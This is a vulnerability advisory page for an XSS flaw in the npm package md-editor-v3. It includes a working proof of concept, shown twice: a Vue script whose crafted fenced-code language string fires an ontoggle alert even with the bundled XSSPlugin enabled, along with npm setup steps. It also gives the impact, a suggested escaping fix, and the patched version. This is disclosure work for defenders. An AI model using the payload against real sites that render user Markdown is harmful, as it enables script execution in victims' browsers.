GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-3RM2-H79C-8QW6

Vulnerability from github – Published: 2026-09-18 17:17 – Updated: 2026-09-18 17:17
VLAI
Summary
md-editor-v3: XSS via fenced-code language rendering bypass
Details

Summary

MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.

Details

useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.

PoC

The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:

import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';

config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
  { editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');

Create and run the app, replacing src/main.js when indicated:

npm create vite@latest poc -- --template vue
cd poc
npm install
npm install md-editor-v3@6.5.3
# Replace src/main.js with the code above.
npm run dev

Opening the displayed URL automatically shows the application hostname in an alert.

Impact

An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.

Suggested fix

Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "md-editor-v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:17:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled.\n\n### Details\n`useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class=\"language-${language}\"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens before rendering, so it cannot inspect this renderer-generated HTML.\n\n### PoC\nThe Vue application enables the shipped `XSSPlugin` and renders attacker-controlled Markdown. `noHighlight: true` only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as `src/main.js`:\n\n```js\nimport { createApp, h } from \u0027vue\u0027;\nimport { MdPreview, XSSPlugin, config } from \u0027md-editor-v3\u0027;\n\nconfig({ markdownItPlugins: p =\u003e [...p, { type: \u0027xss\u0027, plugin: XSSPlugin, options: {} }] });\nconst markdown = \u0027```x\"\u003e\u003cdetails/open/ontoggle=alert(document.domain)\u003e\\nSAFE\\n```\u0027;\ncreateApp({ render: () =\u003e h(MdPreview,\n  { editorId: \u0027poc\u0027, modelValue: markdown, noHighlight: true })\n}).mount(\u0027#app\u0027);\n```\n\nCreate and run the app, replacing `src/main.js` when indicated:\n\n```sh\nnpm create vite@latest poc -- --template vue\ncd poc\nnpm install\nnpm install md-editor-v3@6.5.3\n# Replace src/main.js with the code above.\nnpm run dev\n```\n\nOpening the displayed URL automatically shows the application hostname in an alert.\n\n### Impact\nAn attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.\n\n### Suggested fix\nEscape `language` with `md.utils.escapeHtml` before interpolation and quote the `language` attribute. Add this payload and the raw control as regression tests with `XSSPlugin` enabled.",
  "id": "GHSA-3rm2-h79c-8qw6",
  "modified": "2026-09-18T17:17:36Z",
  "published": "2026-09-18T17:17:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/imzbf/md-editor-v3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "md-editor-v3: XSS via fenced-code language rendering bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…